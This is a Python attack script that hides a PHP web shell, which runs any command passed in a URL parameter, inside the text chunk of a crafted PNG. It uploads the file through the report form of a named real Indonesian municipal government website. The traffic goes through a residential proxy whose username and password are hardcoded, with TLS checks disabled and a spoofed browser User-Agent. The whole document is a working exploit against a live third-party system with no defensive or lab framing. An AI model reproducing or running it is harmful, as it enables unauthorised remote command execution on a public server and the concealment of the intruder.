#!/usr/bin/env python3
import requests
import time
import io
import struct
import zlib
import base64

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10010',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10010'
}

def create_php_in_png():
    """Create PNG with PHP code in tEXt chunk"""
    def png_chunk(type_code, data):
        chunk_type = type_code.encode('latin-1')
        chunk_len = struct.pack('>I', len(data))
        chunk_crc = struct.pack('>I', zlib.crc32(chunk_type + data) & 0xffffffff)
        return chunk_len + chunk_type + data + chunk_crc
    
    signature = b'\x89PNG\r\n\x1a\n'
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
    ihdr = png_chunk('IHDR', ihdr_data)
    
    # tEXt chunk with PHP code
    php_code = b'<?php system($_GET["c"]); ?>'
    text_data = b'Comment\x00' + php_code
    text = png_chunk('tEXt', text_data)
    
    raw_data = b'\x00\xff\xff\xff'
    compressed = zlib.compress(raw_data, 9)
    idat = png_chunk('IDAT', compressed)
    iend = png_chunk('IEND', b'')
    
    return signature + ihdr + text + idat + iend

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}

session = requests.Session()

# Get main page first
print("[*] Getting session...")
resp = session.get("https://pohon.disperkim.semarangkota.go.id/main", headers=headers, proxies=PROXY, verify=False, timeout=30)
print(f"[*] Status: {resp.status_code}, Cookies: {dict(session.cookies)}")

time.sleep(2)

# Create PNG with PHP
png_content = create_php_in_png()
print(f"[*] Created PNG: {len(png_content)} bytes")

# Try upload with different content types
print("\n[*] Testing upload with Content-Disposition manipulation...")

# Try 1: Normal multipart with cleaned filename
files = {
    'userfile': ('test.png', io.BytesIO(png_content), 'image/png')
}

data = {
    'pelapor_nama': 'Test',
    'pelapor_alamat': 'Jl. Test 123',
    'pelapor_phone': '08123456789',
    'pohon_lokasi': 'Jakarta',
    'pohon_keterangan': 'Test keterangan',
}

try:
    resp = session.post("https://pohon.disperkim.semarangkota.go.id/main/laporan_input", 
                       files=files, data=data, headers=headers, 
                       proxies=PROXY, verify=False, timeout=60, allow_redirects=False)
    print(f"[*] Status: {resp.status_code}")
    print(f"[*] Location: {resp.headers.get('Location', 'N/A')}")
    print(f"[*] Response length: {len(resp.text)}")
    
    if resp.status_code == 302:
        print("[+] Redirect! Upload might have worked")
        # Follow redirect
        location = resp.headers.get('Location')
        if location:
            print(f"[*] Following redirect to: {location}")
            resp2 = session.get(location, headers=headers, proxies=PROXY, verify=False, timeout=30)
            print(f"[*] Redirected page status: {resp2.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")